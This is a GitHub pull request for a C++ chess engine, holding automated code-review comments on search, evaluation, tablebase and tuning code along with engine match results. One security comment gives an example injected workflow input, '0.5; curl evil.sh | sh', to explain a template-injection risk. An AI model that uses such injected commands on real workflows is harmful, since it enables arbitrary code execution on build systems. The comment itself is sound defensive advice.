improvements and bugfix#6
Merged
Merged
Conversation
Closed
📝 WalkthroughSummary by CodeRabbit
WalkthroughThis PR adds tunable evaluation tables, rewrites evaluation and search internals, introduces Syzygy tablebase support, adds a CSV-based tuning pipeline, hardens UCI handling, and updates build, CI, and formatting configuration. ChangesEngine runtime, tuning, and build updates
Estimated code review effort: 5 (Critical) | ~120 minutes Sequence Diagram(s)sequenceDiagram
participant UCI as uci.cpp
participant Search as search::search
participant TT as TranspositionTable
participant Movepick as movepick::orderMoves
participant TB as engine::tb
UCI->>Search: search(position, limits)
Search->>TT: newSearch() / lookup()
loop iterative deepening
Search->>Movepick: orderMoves(position, moves, ttMove, ply, session, prevMove)
Movepick->>Movepick: see() static exchange evaluation
Search->>TB: probe_wdl()/probe_dtz(position)
TB-->>Search: WDL/DTZ result
Search->>TT: store(entry)
end
Search-->>UCI: InfoFull(pv, bestmove)
Poem
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (3 passed)
✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 259e89e064
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 17
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
🟡 Minor comments (4)
uci.cpp-45-81 (1)
45-81: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winUse
std::coutforinfo stringmessages to ensure GUI visibility.Lines 69 and 77 emit
info stringprefixed messages tostd::cerr, but line 251 usesstd::coutfor the sameinfo stringprefix. The UCI protocol deliversinfo stringvia stdout; usingstd::cerrmeans the GUI won't receive these error messages.🔧 Proposed fix for consistent UCI output
- std::cerr << "info string Invalid FEN: " << e.what() << std::endl; + std::cout << "info string Invalid FEN: " << e.what() << std::endl;- std::cerr << "info string Invalid move " << token << ": " << e.what() << std::endl; + std::cout << "info string Invalid move " << token << ": " << e.what() << std::endl;🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@uci.cpp` around lines 45 - 81, The `handlePosition` error messages use `std::cerr` even though other UCI “info string” output in the engine is sent through `std::cout`, so these messages may not reach the GUI. Update the `handlePosition` exception paths that log “Invalid FEN” and “Invalid move” to use the same stdout-based UCI output as the rest of the protocol, keeping the `info string` prefix consistent with the existing `engine::stop`/UCI handling behavior.uci.cpp-196-281 (1)
196-281: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winCheck file open success in
export_weightsand readout_fileintune.Two issues in the new command handlers:
export_weights(lines 240-242):std::fstream file(...)is not checked for open success. If the file can't be created,Tune::export_weightssilently writes to a failed stream and the success message is still printed.
tune(lines 246-249):out_fileis declared with a default"Weights.h"but never read fromss, unlikeexport_weightswhich readsweights_headerfromss. The user cannot specify a custom output file fortune.🔧 Proposed fixes
} else if (token == "export_weights") { std::string weights_header = "Weights.h"; ss >> weights_header; std::fstream file(weights_header, std::ios::out); + if (!file.is_open()) { + std::cout << "info string Failed to open " << weights_header << " for writing" << std::endl; + break; + } Tune::export_weights(file); std::cout << "Dumped weights to " << weights_header << '\n'; break;} else if (token == "tune") { `#ifdef` USE_CSV_PARSER std::string csv_path, out_file = "Weights.h"; int iters = 50, max_pos = 20000; - ss >> csv_path >> iters >> max_pos; + ss >> csv_path >> iters >> max_pos >> out_file; tune_command(csv_path, iters, max_pos, out_file);🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@uci.cpp` around lines 196 - 281, The new command handlers in execCmd need two fixes: `export_weights` should verify the `std::fstream` opened successfully before calling `Tune::export_weights`, and only print the success message when the file stream is valid. Also, in the `tune` branch, read the optional output filename from the input stream into `out_file` instead of always keeping the default, so callers can override the generated weights target.eval.cpp-694-713 (1)
694-713: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winPreserve drawn scores before adding tempo.
The draw branches return zero components, but Line 721 still adds
tempo, so publiceval()can report a non-zero score for positions this code labels drawn; this also affects non-search consumers like UCI eval and tuning.Also applies to: 718-721
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@eval.cpp` around lines 694 - 713, The draw detection in eval.cpp returns zero from the material-draw branches, but eval() still adds tempo afterward, which can make a position scored as drawn return non-zero. Update the evaluation flow around the draw checks and the tempo addition so these forced-draw cases stay exactly zero in the final public score, using the eval() draw branches and the surrounding tempo logic as the anchor points.tune.cpp-22-29 (1)
22-29: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winInclude
<cstdlib>before usingstd::exit.std::exitis declared there; relying on transitive includes is non-portable.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@tune.cpp` around lines 22 - 29, The use of std::exit in tune.cpp relies on an indirect include, so add the proper header directly. Update the include block near the top of the file to include <cstdlib> alongside the existing standard headers so the call site that uses std::exit is portable and self-contained.
🧹 Nitpick comments (4)
Makefile (1)
30-46: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueDeclare
all,clean, anddepsas.PHONY.Static analysis flags missing
.PHONYdeclarations for these targets. Adding them preventsmakefrom confusing them with files of the same name.✨ Proposed fix
+.PHONY: all clean deps + all: deps $(TARGET)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@Makefile` around lines 30 - 46, Declare the Makefile targets all, clean, and deps as .PHONY so make never treats same-named files as up-to-date targets. Add the phony declaration near the existing target definitions and keep the current deps, all, and clean rules unchanged; this should be applied to the Makefile symbols deps, all, and clean.Source: Linters/SAST tools
CMakeLists.txt (2)
14-18: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winPin
tbprobeto a specific commit or tag instead ofmain.Using
GIT_TAG mainmakes builds non-reproducible — an upstream push could silently break CI or introduce unexpected changes. The same applies to thecsvdependency at line 73 (GIT_TAG master).🔒️ Proposed fix
FetchContent_Declare( tbprobe GIT_REPOSITORY https://github.com/winapiadmin/tb_probing_tool.git - GIT_TAG main + GIT_TAG <specific-commit-sha-or-tag> )🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@CMakeLists.txt` around lines 14 - 18, The FetchContent declarations for tbprobe and csv are pinned to moving branch names instead of immutable revisions, which makes builds non-reproducible. Update the FetchContent_Declare entries for tbprobe and the csv dependency to use a specific commit SHA or released tag in GIT_TAG, so CMake always fetches the same source version. Locate the declarations by their dependency names and replace the branch-based tags with fixed revisions.
69-78: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winPin
csv-parserto a specific commit or tag instead ofmaster.Same reproducibility concern as
tbprobe— a moving branch reference means builds can break without any local code change.🔒️ Proposed fix
FetchContent_Declare( csv GIT_REPOSITORY https://github.com/vincentlaucsb/csv-parser.git - GIT_TAG master + GIT_TAG <specific-commit-sha-or-tag> )🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@CMakeLists.txt` around lines 69 - 78, The ENGINE_TUNING FetchContent setup for csv-parser is using a moving branch reference, so pin the dependency to a specific immutable commit or release tag instead of master. Update the FetchContent_Declare block for csv in CMakeLists.txt to use a fixed GIT_TAG, keeping the rest of the engine target_link_libraries and USE_CSV_PARSER definitions unchanged.main.cpp (1)
25-29: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value
// work in progresscomment on the SyzygyPath option.The comment suggests this feature is incomplete. If it's intended for production use, remove the WIP marker or track remaining work in an issue. Additionally, if
tb::initis updated to catch internal exceptions (as suggested in the tb.cpp review), this callback is safe; otherwise it has the same unhandled-exception concern.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@main.cpp` around lines 25 - 29, The SyzygyPath option still has a “work in progress” marker, so either remove that comment if this is ready for production or replace it with a tracked follow-up reference. Review the callback in main.cpp where options.add("SyzygyPath", ...) calls tb::init, and ensure it remains aligned with the tb::init exception-handling behavior from tb.cpp; if tb::init does not catch internal exceptions, the callback needs guarding before this can be considered complete.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@eval.cpp`:
- Around line 285-292: The phase accumulator in the material-phase logic can
exceed the interpolation range after promotions, which makes the endgame weight
negative. In the phase calculation used by the evaluation code that accumulates
KnightPhase, BishopPhase, RookPhase, and QueenPhase, clamp the final phase value
to the valid 0..256 range before it is used for interpolation so the
middlegame/endgame blend remains bounded. Locate the fix near the phase
computation and the later interpolation that consumes phase, and ensure the
clamped value is the one passed through.
In `@main.cpp`:
- Around line 15-18: The Hash option callback in the options.add("Hash",
Option(...)) lambda can let std::bad_alloc escape from
search::tt.resize(int(o)), which crashes the engine. Update the Hash callback to
catch allocation failure around search::tt.resize and convert it into a safe
failure path, returning an error or nullopt after handling the exception so the
UCI entry point never propagates an unhandled exception.
In `@Makefile`:
- Line 34: The Makefile source filter is using the wrong excluded filename, so
tune_cmd.cpp is still being picked up by SRCS and built without the needed CSV
parser setup. Update the filter-out in the SRCS definition to exclude
tune_cmd.cpp instead of tuning_cmd.cpp, keeping the rest of the wildcard list
unchanged so the standalone tuning source is not compiled in the default build.
In `@movepick.cpp`:
- Around line 80-92: The occupancy handling in the move-picking loop is
incorrect because occ is being reduced to only attacking pieces before x-ray
recomputation. In the logic around least_valuable_attacker and the attackers
refresh, replace the occupancy mutation so the attacker set is masked by the
current occupancy rather than discarding non-attacking blockers, ensuring
board.attackers(...) on the recompute path sees the full occupied board.
- Around line 54-60: Handle en-passant correctly in the SEE occupancy setup
inside movepick.cpp. In the SEE calculation around the captured-piece and occ
handling, make sure the pawn captured by an EN_PASSANT move is removed from the
temporary occupancy bitboard before any attack generation or recapture
evaluation. Update the logic in the move type/captured handling block so the
EP-captured pawn is excluded from occ, alongside removing the moving piece from
from, and keep the existing captured/no-piece checks intact.
In `@search.cpp`:
- Around line 572-580: The temporary qsearch session in the fallback search
block is created without initializing its TimeManagement state, so qsearch() can
return VALUE_NONE when it checks tmpSession.tm.elapsed()/optimum(). Update the
fallback paths that use Session tmpSession{} in search.cpp to initialize the
session the same way as the main search flow, using the existing
Session/TimeManagement setup before calling qsearch(). Apply the same fix to
both qsearch call sites in the move loop and the fallback block so tmpSession is
always properly initialized before use.
- Around line 74-76: The recursive stop checks in search.cpp are missing the
parsed UCI node limit, so go nodes N can keep searching past N until another
stop condition triggers. Update the predicate used in the stop-return paths in
the recursive search logic (the checks around session.nodes,
session.tm.elapsed(), stopSearch, and the other recursive stop checks in the
same flow) to also test LimitsType::nodes consistently. Use the same node-limit
condition wherever the existing time/depth/stop checks are applied so search
stops immediately once the requested node count is reached.
- Around line 399-421: The LMR block in search.cpp is clamping reduction even
when no reduction was chosen, which forces a minimum reduction for some checking
or early capture moves. Update the logic around the LMR reduction calculation in
the search routine so std::clamp is only applied when reduction was actually
assigned by the branch conditions. Use the existing identifiers reduction,
movesSearched, depth, isCapture, and givesCheck to keep the behavior unchanged
for moves where the code intentionally leaves reduction at 0.
In `@search.h`:
- Around line 13-19: The Session move-ordering tables are left uninitialized, so
the first search can read garbage from killerMoves and counterMoves before they
are populated. Update the Session definition so these members are
zero-initialized alongside the existing historyHeuristic array, and verify any
Session construction path still leaves pv, killerMoves, and counterMoves in a
safe default state for movepick.cpp to consume.
In `@tb.cpp`:
- Around line 23-34: The init() function currently lets exceptions from
tbprobe::syzygy::initialize() and tablebase.add_directory() escape, which can
crash the UCI option handler when SyzygyPath is invalid. Wrap the body of init()
in a try/catch, keep the existing successful info string behavior, and on
failure print an info string with the error details instead of propagating the
exception; use init(), tablebase.add_directory(), and
tbprobe::syzygy::initialize() as the key points to update.
In `@tt.cpp`:
- Around line 67-71: The TT lookup logic in the entry checks around the e0/e1
key comparisons is returning zero-initialized slots when hash is 0, which can
produce bogus EXACT hits. Update the lookup path to explicitly reject empty
entries for hash 0 (or any entry with key 0 after clear/resize) before returning
from the TT lookup, and keep the fix localized to the lookup method that
compares e0.key and e1.key so it never treats zeroed TT entries as valid
matches.
- Around line 22-23: The portable branch in index_for_hash still references
undefined fallback identifiers, so replace the uses of a and b with the in-scope
values hash and buckets in the uint64_t setup. Make sure the fallback arithmetic
in index_for_hash consistently derives aL/aH from hash and bL/bH from buckets so
the non-optimized path compiles cleanly.
In `@tt.h`:
- Around line 84-90: Keep the transposition table bucket count in size_t as
well: TranspositionTable::buckets is still an int, so large allocations can
overflow and break lookup/store behavior even when size is valid. Update the
TranspositionTable fields and any related calculations in the constructor,
lookup/store paths, and resize/allocation logic to use size_t for bucket
counting and indexing, matching the widened size member.
In `@tune_cmd.cpp`:
- Line 721: The best-weight selection in tune_cmd.cpp is using training loss
instead of the computed holdout loss, so update the logic around
best_x/best_loss to compare against hold_loss and keep the best holdout-scoring
iteration. Make sure the same selection criterion is applied consistently in the
related blocks referenced by tune helpers so the final “best holdout” log and
exported weights both come from the lowest holdout loss.
- Around line 296-306: Several MG/EG parameter updates in tune_cmd.cpp are
adding raw gradient contributions instead of matching the phase blending used by
eval(); update the affected gradient paths so each MG term is weighted by
phase_mg and each EG term by phase_eg before accumulation. Focus on the paired
parameter handling around bishopPairMg/bishopPairEg and the other listed MG/EG
sections so the tuning objective matches the eval() objective consistently.
- Around line 882-907: In tune_command, validate max_pos before using it as a
size_t cap and reject non-positive values instead of letting negative values
wrap or zero disable loading; also handle the case where the CSV loads no rows
so the later training setup does not operate on an empty TuneData. Make the
guard apply before building train_idx and before any logic that depends on n, so
tune_command can fail fast with a clear error when max_pos is invalid or the
dataset is empty.
- Around line 875-878: The export paths in tune_cmd.cpp are calling
Tune::export_weights(file) without verifying that the std::fstream for
weights_header opened successfully, which can silently drop the tuned output.
Update both export sites around Tune::export_weights and the file setup in the
export-best-weights flow to check file.is_open() or stream state before writing,
and handle the failure case explicitly (log/return/error) instead of proceeding
with export.
---
Minor comments:
In `@eval.cpp`:
- Around line 694-713: The draw detection in eval.cpp returns zero from the
material-draw branches, but eval() still adds tempo afterward, which can make a
position scored as drawn return non-zero. Update the evaluation flow around the
draw checks and the tempo addition so these forced-draw cases stay exactly zero
in the final public score, using the eval() draw branches and the surrounding
tempo logic as the anchor points.
In `@tune.cpp`:
- Around line 22-29: The use of std::exit in tune.cpp relies on an indirect
include, so add the proper header directly. Update the include block near the
top of the file to include <cstdlib> alongside the existing standard headers so
the call site that uses std::exit is portable and self-contained.
In `@uci.cpp`:
- Around line 45-81: The `handlePosition` error messages use `std::cerr` even
though other UCI “info string” output in the engine is sent through `std::cout`,
so these messages may not reach the GUI. Update the `handlePosition` exception
paths that log “Invalid FEN” and “Invalid move” to use the same stdout-based UCI
output as the rest of the protocol, keeping the `info string` prefix consistent
with the existing `engine::stop`/UCI handling behavior.
- Around line 196-281: The new command handlers in execCmd need two fixes:
`export_weights` should verify the `std::fstream` opened successfully before
calling `Tune::export_weights`, and only print the success message when the file
stream is valid. Also, in the `tune` branch, read the optional output filename
from the input stream into `out_file` instead of always keeping the default, so
callers can override the generated weights target.
---
Nitpick comments:
In `@CMakeLists.txt`:
- Around line 14-18: The FetchContent declarations for tbprobe and csv are
pinned to moving branch names instead of immutable revisions, which makes builds
non-reproducible. Update the FetchContent_Declare entries for tbprobe and the
csv dependency to use a specific commit SHA or released tag in GIT_TAG, so CMake
always fetches the same source version. Locate the declarations by their
dependency names and replace the branch-based tags with fixed revisions.
- Around line 69-78: The ENGINE_TUNING FetchContent setup for csv-parser is
using a moving branch reference, so pin the dependency to a specific immutable
commit or release tag instead of master. Update the FetchContent_Declare block
for csv in CMakeLists.txt to use a fixed GIT_TAG, keeping the rest of the engine
target_link_libraries and USE_CSV_PARSER definitions unchanged.
In `@main.cpp`:
- Around line 25-29: The SyzygyPath option still has a “work in progress”
marker, so either remove that comment if this is ready for production or replace
it with a tracked follow-up reference. Review the callback in main.cpp where
options.add("SyzygyPath", ...) calls tb::init, and ensure it remains aligned
with the tb::init exception-handling behavior from tb.cpp; if tb::init does not
catch internal exceptions, the callback needs guarding before this can be
considered complete.
In `@Makefile`:
- Around line 30-46: Declare the Makefile targets all, clean, and deps as .PHONY
so make never treats same-named files as up-to-date targets. Add the phony
declaration near the existing target definitions and keep the current deps, all,
and clean rules unchanged; this should be applied to the Makefile symbols deps,
all, and clean.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro Plus
Run ID: 025c984c-d36b-4922-81e2-1fd6497084d6
📒 Files selected for processing (29)
.clang-format.github/workflows/games.yml.gitignoreCMakeLists.txtMakefileWeights.heval.cppeval.hmain.cppmovepick.cppmovepick.hscore.cppscore.hsearch.cppsearch.htb.cpptb.htimeman.cpptimeman.htt.cpptt.htune.cpptune.htune_cmd.cpptune_cmd.huci.cppuci.hucioption.cppucioption.h
…n/cppchess_engine into 5-missing-hash-resize
Results of new vs base (10+0.1, NULL, 64MB, UHO_Lichess_4852_v1.epd): Elo: 111.48 +/- 22.41, nElo: 152.89 +/- 28.67 LOS: 100.00 %, DrawRatio: 30.14 %, PairsRatio: 4.05 Games: 564, Wins: 256, Losses: 81, Draws: 227, Points: 369.5 (65.51 %) Ptnml(0-2): [4, 35, 85, 98, 60], WL/DD Ratio: 0.81 LLR: 2.95 (100.3%) (-2.94, 2.94) [0.00, 5.00] --------------------------------------------------
There was a problem hiding this comment.
♻️ Duplicate comments (1)
movepick.cpp (1)
82-92: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winMask
attackersbyoccso removed pieces aren't reselected.
board.occ(stm)is the full color occupancy and never reflects theocc ^= 1ULL << sqremovals at Line 89. Ifboard.attackers(...)(Line 92) intersects attacks with the board's own piece bitboards rather than with the passedocc, an already-used attacker stays inattackersand gets picked again byleast_valuable_attacker, charging the same piece repeatedly and corrupting the swap-off (and potentially spinning untilgain[d] < 0ord == 32). Mask by the currentocc:Proposed fix
- Bitboard stmAttackers = attackers & board.occ(stm); + Bitboard stmAttackers = attackers & occ & board.occ(stm);This is the same unresolved concern raised previously (the earlier
attackers &= occfix was not applied). Please confirmboard.attackerssemantics before merging.#!/bin/bash set -euo pipefail # Inspect chesslib's Board::attackers to determine whether it restricts # results to the passed occupancy bitboard or uses full piece bitboards. fd -e h -e hpp -e cpp | xargs rg -nP '\battackers\s*\(' -l 2>/dev/null | head echo '--- definitions ---' ast-grep run --pattern 'Bitboard attackers($$$) { $$$ }' --lang cpp . 2>/dev/null || true rg -nP -C15 '\battackers\s*\([^)]*occ' $(fd -e h -e hpp | xargs rg -l 'attackers' 2>/dev/null) 2>/dev/null | head -80🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@movepick.cpp` around lines 82 - 92, The swap-off loop in movepick.cpp can reselect a piece that was already removed because attackers is recomputed without being constrained to the updated occ. In the section that uses least_valuable_attacker and board.attackers, make sure attackers is always masked against the current occ after each removal so only still-present pieces remain eligible. Confirm the semantics of board.attackers first; if it returns attacks independent of occupancy, apply the occ mask immediately after recomputing attackers to prevent double-counting or endless looping.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Duplicate comments:
In `@movepick.cpp`:
- Around line 82-92: The swap-off loop in movepick.cpp can reselect a piece that
was already removed because attackers is recomputed without being constrained to
the updated occ. In the section that uses least_valuable_attacker and
board.attackers, make sure attackers is always masked against the current occ
after each removal so only still-present pieces remain eligible. Confirm the
semantics of board.attackers first; if it returns attacks independent of
occupancy, apply the occ mask immediately after recomputing attackers to prevent
double-counting or endless looping.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro Plus
Run ID: 2536232f-8889-4c5a-b81c-b7a4d8b82c1b
📒 Files selected for processing (13)
MakefileWeights.heval.cppmain.cppmovepick.cppsearch.cppsearch.htb.cpptt.cpptt.htune.cpptune_cmd.cppuci.cpp
🚧 Files skipped from review as they are similar to previous changes (12)
- Makefile
- main.cpp
- tt.cpp
- tune_cmd.cpp
- Weights.h
- tune.cpp
- search.h
- uci.cpp
- tt.h
- eval.cpp
- tb.cpp
- search.cpp
There was a problem hiding this comment.
🧹 Nitpick comments (1)
.github/workflows/games.yml (1)
126-126: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick winUse environment variables for workflow inputs in shell commands to prevent template injection.
${{ github.event.inputs.elo0 }}and${{ github.event.inputs.elo1 }}are interpolated directly into arunblock. A malicious value (e.g.,0.5; curl evil.sh | sh) would execute arbitrary commands. Whileworkflow_dispatchlimits this to users with write access, the same pattern affectsoutput_exec(Lines 114, 120) andtc(Line 122). Prefer passing inputs viaenv:and referencing them as shell variables.♻️ Proposed fix using environment variables
- name: Run fastchess + env: + ELO0: ${{ github.event.inputs.elo0 }} + ELO1: ${{ github.event.inputs.elo1 }} + TC: ${{ github.event.inputs.tc }} + OUTPUT_EXEC: ${{ github.event.inputs.output_exec }} run: | ./fastchess -recover \ -engine cmd=new-engine/engine name=new \ - -engine cmd=base-engine/${{ github.event.inputs.output_exec }} name=base \ + -engine cmd=base-engine/$OUTPUT_EXEC name=base \ -openings file=UHO_Lichess_4852_v1.epd format=epd order=random \ - -each tc=${{ github.event.inputs.tc }} \ + -each tc=$TC \ -rounds ${{ github.event.inputs.rounds }} \ -concurrency $(nproc) \ -pgnout notation=san nodes=true file=games.pgn \ - -sprt elo0=${{ github.event.inputs.elo0 }} elo1=${{ github.event.inputs.elo1 }} alpha=0.05 beta=0.05 | tee results.txt + -sprt elo0=$ELO0 elo1=$ELO1 alpha=0.05 beta=0.05 | tee results.txtApply the same
env:approach to thechmodstep (Line 114) and any otherrunblocks that interpolategithub.event.inputs.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/games.yml at line 126, The workflow steps that use github.event.inputs directly in shell commands are vulnerable to template injection, especially in the sprt invocation and the related output_exec and tc runs. Move those inputs into env variables on the affected steps, then reference the shell variables inside the run blocks instead of interpolating the GitHub expressions directly; apply the same pattern to the chmod step and any other run blocks in the workflow that consume dispatch inputs.Source: Linters/SAST tools
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Nitpick comments:
In @.github/workflows/games.yml:
- Line 126: The workflow steps that use github.event.inputs directly in shell
commands are vulnerable to template injection, especially in the sprt invocation
and the related output_exec and tc runs. Move those inputs into env variables on
the affected steps, then reference the shell variables inside the run blocks
instead of interpolating the GitHub expressions directly; apply the same pattern
to the chmod step and any other run blocks in the workflow that consume dispatch
inputs.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro Plus
Run ID: 2675f888-66ac-4f24-bc79-dc365e98b109
📒 Files selected for processing (3)
.github/workflows/games.ymleval.cppsearch.cpp
🚧 Files skipped from review as they are similar to previous changes (2)
- eval.cpp
- search.cpp
Owner
Author
it regresses somehow |
winapiadmin
added a commit
that referenced
this pull request
Jul 9, 2026
* Delete Makefile * integrated library * Create games.yml * Update games.yml * Update timeman.cpp * Update games.yml * Update games.yml * Update games.yml * Update games.yml * Update games.yml * Update games.yml * Update eval.cpp * Update eval.cpp * Update eval.h * Update movepick.cpp * Update movepick.h * Update movepick.cpp * Update search.cpp * Update eval.h * Update eval.cpp * Update movepick.h * Update search.cpp * Update search.cpp * Update movepick.cpp * Update movepick.cpp * Update movepick.cpp * Update movepick.cpp * Update movepick.cpp * Update games.yml * Update games.yml * Update games.yml * extend time control (6*time) * Update games.yml * set pv if really hit TT * Update games.yml * Update search.cpp * Update games.yml * Update games.yml * fix regression of null pointer deref * clear PV * Update search.cpp * fix overflow * implemented quiescence and fix illegal PV (variable shadowing) * no functional changes * fix typo * Update games.yml * Update games.yml * Update games.yml * update source * Update uci.cpp * some features and improvements (#3) fixed some bugs implemented LMR and NMP, features, etc. Passed STC: -------------------------------------------------- Results of new vs base (10+0.1, NULL, 16MB, UHO_Lichess_4852_v1.epd): Elo: 51.67 +/- 8.40, nElo: 92.31 +/- 14.79 LOS: 100.00 %, DrawRatio: 47.36 %, PairsRatio: 2.82 Games: 2120, Wins: 517, Losses: 204, Draws: 1399, Points: 1216.5 (57.38 %) Ptnml(0-2): [8, 138, 502, 357, 55], WL/DD Ratio: 0.11 LLR: 2.95 (100.2%) (-2.94, 2.94) [0.00, 2.00] -------------------------------------------------- Passed LTC: -------------------------------------------------- Results of new vs base (60+0.6, NULL, 16MB, UHO_Lichess_4852_v1.epd): Elo: 108.69 +/- 10.86, nElo: 199.39 +/- 18.67 LOS: 100.00 %, DrawRatio: 41.80 %, PairsRatio: 12.34 Games: 1330, Wins: 461, Losses: 58, Draws: 811, Points: 866.5 (65.15 %) Ptnml(0-2): [1, 28, 278, 283, 75], WL/DD Ratio: 0.11 LLR: 2.95 (100.1%) (-2.94, 2.94) [0.00, 2.00] -------------------------------------------------- * some QoL changes and specifically, BUGS. * library side fix nullmoves * Apply clang-format * Update eval.cpp * Update search.cpp * Fix typo in move type check for score calculation * Update uci.cpp * Fix FEN setting in engine loop * Update uci.cpp * improvements and bugfix (#6) Passed STC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28851470047 (mostly) pass LTC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28864852436 Passed STC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876353922/job/85652602141 Passed LTC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876032178 Improvement since beginning of the PR: -------------------------------------------------- Results of new vs base (10+0.1, NULL, 64MB, UHO_Lichess_4852_v1.epd): Elo: 111.48 +/- 22.41, nElo: 152.89 +/- 28.67 LOS: 100.00 %, DrawRatio: 30.14 %, PairsRatio: 4.05 Games: 564, Wins: 256, Losses: 81, Draws: 227, Points: 369.5 (65.51 %) Ptnml(0-2): [4, 35, 85, 98, 60], WL/DD Ratio: 0.81 LLR: 2.95 (100.3%) (-2.94, 2.94) [0.00, 5.00] --------- Co-authored-by: GitHub Actions <actions@github.com> * Update games.yml * Update Makefile * resolved some issues, no functional changes * Apply clang-format * Potential fix for pull request finding 'CodeQL / Workflow does not contain permissions' Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com> --------- Co-authored-by: GitHub Actions <actions@github.com> Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes #5
Passed STC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28851470047
(mostly) pass LTC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28864852436
Passed STC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876353922/job/85652602141
Passed LTC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876032178
the engine is not 1500 ELO yet